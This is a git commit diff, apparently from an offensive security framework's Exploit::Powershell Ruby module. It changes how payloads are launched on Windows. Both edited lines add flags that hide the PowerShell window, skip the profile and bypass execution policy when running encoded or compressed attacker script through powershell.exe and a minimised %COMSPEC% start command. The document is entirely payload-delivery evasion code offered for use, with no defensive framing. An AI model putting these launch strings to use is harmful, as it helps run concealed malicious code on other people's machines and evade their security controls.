Bypass no profile and hidden by default
parent
b4d1fd6ff8
commit
60328d5b2a
|
@ -80,7 +80,7 @@ module Exploit::Powershell
|
|||
# Runs powershell in hidden window raising interactive proc msg
|
||||
#
|
||||
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
|
||||
ps_args = "-e #{ compress_script(ps_code) }"
|
||||
ps_args = "-w hidden -nop -ep bypass -e #{ compress_script(ps_code) }"
|
||||
|
||||
ps_wrapper = <<EOS
|
||||
$si=New-Object System.Diagnostics.ProcessStartInfo
|
||||
|
@ -119,7 +119,7 @@ EOS
|
|||
# Wrap in hidden runtime
|
||||
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
||||
# Convert to base64 for -encodedcommand execution
|
||||
command = "%COMSPEC% /B /C start /min powershell.exe -c #{psh_payload}\r\n"
|
||||
command = "%COMSPEC% /B /C start /min powershell.exe -w hidden -nop -ep bypass -c #{psh_payload}\r\n"
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue